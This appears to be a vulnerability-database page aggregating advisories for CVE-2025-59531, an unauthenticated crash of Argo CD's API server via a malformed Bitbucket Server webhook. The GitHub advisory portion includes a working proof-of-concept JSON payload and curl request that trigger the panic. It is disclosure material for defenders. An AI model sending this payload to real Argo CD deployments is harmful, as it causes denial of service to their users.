Vulnerability-Lookup

CVE-2025-59531 (GCVE-0-2025-59531)

Vulnerability from cvelistv5 – Published: 2025-10-01 20:49 – Updated: 2025-10-02 15:54

Title

Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-10-02 15:35 UTC

CWE

CWE-703 - Improper Check or Handling of Exceptional Conditions

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/argoproj/argo-cd/security/advi…	x_refsource_CONFIRM
https://github.com/argoproj/argo-cd/commit/5c466a…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
argoproj	argo-cd	Affected: >= 1.2.0, <= 1.8.7 Affected: >= 2.0.0-rc1, < 2.14.20 Affected: >= 3.2.0-rc1, < 3.2.0-rc2 Affected: >= 3.1.0-rc1, < 3.1.8 Affected: >= 3.0.0-rc1, < 3.0.19	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-59531

Vulnerability from fkie_nvd - Published: 2025-10-01 21:16 - Updated: 2026-06-17 09:46

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f	Patch
security-advisories@github.com	https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc	Exploit, Mitigation, Vendor Advisory

Impacted products

Vendor	Product	Version
argoproj	argo_cd	*
argoproj	argo_cd	*
argoproj	argo_cd	*
argoproj	argo_cd	*
argoproj	argo_cd	3.2.0

JSON

To clipboard

{
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              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "AFF4E847-D3D6-457A-A47B-98799D28E20E",
              "versionEndExcluding": "3.1.8",
              "versionStartIncluding": "3.1.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:argoproj:argo_cd:3.2.0:rc1:*:*:*:*:*:*",
              "matchCriteriaId": "247C0721-E494-4732-BF53-F249C574A702",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD\u0027s /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19."
    }
  ],
  "id": "CVE-2025-59531",
  "lastModified": "2026-06-17T09:46:20.930",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-59531",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-10-02T15:35:32.474779Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-10-01T21:16:43.377",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-703"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-F9GQ-PRRC-HRHC

Vulnerability from github – Published: 2025-09-30 18:11 – Updated: 2025-10-23 20:21

Summary

Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Details

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) {   // <- unsafe cast
    link := l.(map[string]any)
    ...
}

If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
    webhook.go:209 +0x1218
...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "last_affected": "1.8.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc1"
            },
            {
              "fixed": "2.14.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0-rc1"
            },
            {
              "fixed": "3.2.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.0-rc1"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0-rc1"
            },
            {
              "fixed": "3.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.18"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-rc1"
            },
            {
              "fixed": "3.0.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-30T18:11:59Z",
    "nvd_published_at": "2025-10-01T21:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nUnpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. \n\nWith the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD\u2019s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array.\n\nA single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.\n\n### Details\n```go\n// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)\n\nfor _, l := range payload.Repository.Links[\"clone\"].([]any) {   // \u003c- unsafe cast\n    link := l.(map[string]any)\n    ...\n}\n```\n\nIf links.clone is a string, number, object, or null, the first type assertion panics:\ninterface conversion: interface {} is string, not []interface {}\n\nThe worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.\n\n### PoC\n\nSave as payload-panic.json - note the non-array links.clone.\n\n```json\n{\n  \"eventKey\": \"repo:refs_changed\",\n  \"repository\": {\n    \"name\": \"guestbook\",\n    \"fullName\": \"APP/guestbook\",\n    \"links\": { \"clone\": \"boom\" }\n  },\n  \"changes\": [ { \"ref\": { \"id\": \"refs/heads/master\" } } ]\n}\n```\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H \u0027X-Event-Key: repo:refs_changed\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     --data-binary @payload-panic.json\n```\n\nObserved crash (argocd-server restart):\n\n```\npanic: interface conversion: interface {} is string, not []interface {}\ngoroutine 192 [running]:\ngithub.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo\n    webhook.go:209 +0x1218\n...\n```\n\n### Mitigation\n\nIf you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.bitbucketserver.secret: \u003cyour base64-encoded secret here\u003e\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.",
  "id": "GHSA-f9gq-prrc-hrhc",
  "modified": "2025-10-23T20:21:58Z",
  "published": "2025-09-30T18:11:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59531"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3993"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload"
}

OPENSUSE-SU-2025:15666-1

Vulnerability from csaf_opensuse - Published: 2025-10-24 00:00 - Updated: 2026-09-20 21:43

Summary

govulncheck-vulndb-0.0.20251023T162509-1.1 on GA media

Severity

Moderate

Scope

17 vulnerabilities in this advisory, including CVE-2025-59531.

CVE-2025-59531

Recommended: 4 products

Open the full advisory

RHSA-2025:17730

Vulnerability from csaf_redhat - Published: 2025-10-09 18:47 - Updated: 2026-09-22 13:12

Summary

Red Hat Security Advisory: Red Hat OpenShift GitOps v1.16.4 security update

Severity

Important

Scope

6 vulnerabilities in this advisory, including CVE-2025-59531.

CVE-2025-59531

A denial of service vulnerability was identified in the Argo CD continuous delivery tool, which is distributed as part of Red Hat GitOps product. An unauthenticated attacker can exploit this flaw by sending a specially crafted request to the Application Programming Interface (API) webhook endpoint. This action causes the API server to crash, preventing it from restarting properly. By repeatedly targeting the server, an attacker can cause a complete service outage, making the Argo CD interface unavailable to all users. This vulnerability is only exposed in configurations where a specific webhook secret has not been set.

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 9 products Known not affected: 28 products

https://access.redhat.com/errata/RHSA-2025:17730

Open the full advisory

RHSA-2025:17731

Vulnerability from csaf_redhat - Published: 2025-10-09 18:48 - Updated: 2026-09-22 13:12

Summary

Red Hat Security Advisory: Red Hat OpenShift GitOps v1.17.2 security update

Severity

Important

Scope

6 vulnerabilities in this advisory, including CVE-2025-59531.

CVE-2025-59531

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 9 products Known not affected: 32 products

https://access.redhat.com/errata/RHSA-2025:17731

Open the full advisory

RHSA-2025:18093

Vulnerability from csaf_redhat - Published: 2025-10-15 10:27 - Updated: 2026-09-21 17:09

Summary

Red Hat Security Advisory: Red Hat OpenShift GitOps v1.18.1 security update

Severity

Important

Scope

4 vulnerabilities in this advisory, including CVE-2025-59531.

CVE-2025-59531

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fixed: 9 products Known not affected: 32 products

https://access.redhat.com/errata/RHSA-2025:18093

Open the full advisory

WID-SEC-W-2025-2251

Vulnerability from csaf_certbund - Published: 2025-10-09 22:00 - Updated: 2026-03-30 22:00

Summary

Red Hat OpenShift GitOps: Mehrere Schwachstellen

Severity

Mittel

Scope

5 vulnerabilities in this advisory, including CVE-2025-59531.

CVE-2025-59531

Known affected: 2 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-59531 (GCVE-0-2025-59531)

FKIE_CVE-2025-59531

GHSA-F9GQ-PRRC-HRHC

Summary

Details

PoC

Mitigation

For more information

Credits

OPENSUSE-SU-2025:15666-1

RHSA-2025:17730

RHSA-2025:17731

RHSA-2025:18093

WID-SEC-W-2025-2251

Tags

Sightings

Nomenclature

Related by attack behaviour